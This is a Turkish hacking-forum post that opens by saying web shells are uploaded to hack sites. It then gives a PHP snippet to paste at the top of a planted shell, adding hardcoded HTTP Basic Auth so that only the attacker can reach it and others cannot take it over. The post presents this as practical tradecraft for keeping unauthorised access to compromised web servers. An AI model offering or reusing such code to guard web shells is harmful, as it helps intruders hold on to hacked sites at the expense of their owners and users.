Shell Attım Ama "Ava Giderken Avlandım" Dememek İçin...

cearr45

Katılımcı Üye
23 Eyl 2009
883
1
Selamün Aleyküm; ;

Site hacklemek için shell atıyoruz..Peki loglu shellerden kurtulmak için neler yapabiliriz ?

uploaded-shell-script.png


Malumunuz loglu sheller herkesin çekindiği bir durum. Birçok kişi shelli decode edip logu silmeye çalışır. Vereceğim php betiğini shelle ekleyerek uğraşmaya gerek kalmadan header şifre koyarak shellin güvenliğini sağlayabilirsiniz.

Yukarıdaki $kul değerlerini dilediğiniz gibi editleyip shellin başına php tagının altına koymanız yeterli.


p7plp.jpg


Yukarıdaki Kodları;

Kod:
$kul[0]['username']="kullaniciadi";  
$kul[0]['password']="sifre"; 
   
   
// Dogrulama  
   
function authenticate()  
{  
header( 'WWW-Authenticate: Basic realm="Private"' );  
header( 'HTTP/1.0 401 Unauthorized' );  
echo 'Authorization Required.';  
exit;  
}  
   
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { authenticate(); } else  
{  
for($i=0;$i<count($kul);$i++) { if($_SERVER['PHP_AUTH_USER']==$kul[$i]['username'] && $_SERVER['PHP_AUTH_PW']==$kul[$i]['password']){$auth=TRUE;}}  
if($auth !=TRUE) {authenticate();}  
}

*Alıntıdır.Faydalı olması dileğiyle.

Faydam Dokunduysa Lütfen
n6kzp.jpg
Button'unu Kullanmayı Unutmayalım..
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.